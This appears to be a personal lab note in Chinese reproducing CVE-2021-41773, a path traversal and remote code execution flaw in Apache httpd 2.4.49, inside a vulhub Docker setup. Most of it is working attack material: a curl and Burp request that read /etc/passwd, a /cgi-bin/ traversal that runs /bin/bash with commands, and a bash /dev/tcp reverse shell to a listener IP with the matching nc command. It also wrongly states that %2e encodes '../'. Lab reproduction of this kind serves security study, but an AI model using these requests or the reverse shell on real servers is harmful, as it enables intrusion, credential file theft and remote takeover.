https://vulhub.org/#/environments/httpd/CVE-2021-41773/
cd /home/kali/vulhub/httpd/CVE-2021-41773
启动:
sudo docker-compose up -d
sudo docker ps -a
已启动:访问端口8087
在ApacheHTTPServer 2.4.49中对路径规范化的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将url映射到预期文档根目录之外的文件。
如果这些目录之外的文件没有受到通常的默认配置“要求所有拒绝”的保护,这些请求可以成功。如果还为这些别名路径启用了CGI脚本,则可以允许远程代码。
一个简单的CURL命令来重现漏洞(注意/icons/必须是一个已经存在的目录):
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
访问
http://192.168.225.166:8087/
.
bp包转到repeate,转发返回passwd信息
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
echo;id
/cgi-bin/ 是一个常见的目录,它通常用于存放可以通过网络服务器执行的脚本。CGI(通用网关接口)是一种技术,允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时,服务器将执行该脚本并返回结果给客户端。
在给出的示例中,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径,以反斜杠分隔不同的目录。%2e 是URL编码中表示"…/"的方式,代表上一级目录。因此,该路径尝试在服务器上执行 /bin/bash 这个脚本文件,会返回bash的交互式命令行界面。
bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;